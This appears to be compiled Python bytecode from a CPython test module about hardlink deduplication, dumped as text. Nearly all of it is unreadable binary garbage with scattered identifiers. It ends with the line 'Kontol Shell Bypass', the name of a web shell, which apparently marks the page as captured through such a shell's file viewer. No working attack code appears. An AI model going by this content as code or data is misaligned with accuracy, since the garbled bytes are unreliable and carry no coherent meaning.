import moduleF)rGrrrTr�)r�r�r�rYr�rrrrrrr'rUrcr r�r�r�rrr�test_import�s

�z"HardlinkDedupTestsBase.test_importN)r)FF)FF)r�r�r�r6�
contextlib�contextmanagerr�r�rYr�r�r�r�r�rxr�r�r�r�rrrrr}s


	
		
rc@seZdZdS)�!HardlinkDedupTestsWithSourceEpochNr�rrrrr�sr�c@seZdZdS)�HardlinkDedupTestsNoSourceEpochNr�rrrrr�!sr��__main__).rXr�r��importlib.utilr
r��	itertoolsrrgrSr/rDr�r$Ztest.test_importlib.utilrrrrQrr�concurrent.futuresrr|�ImportErrorrZtest.supportrZtest_py_compilerr	rrr r!ZTestCaser�r�r�r�r}r~rr�r�r�rkrrrr�<module>s�
Q��K����


Kontol Shell Bypass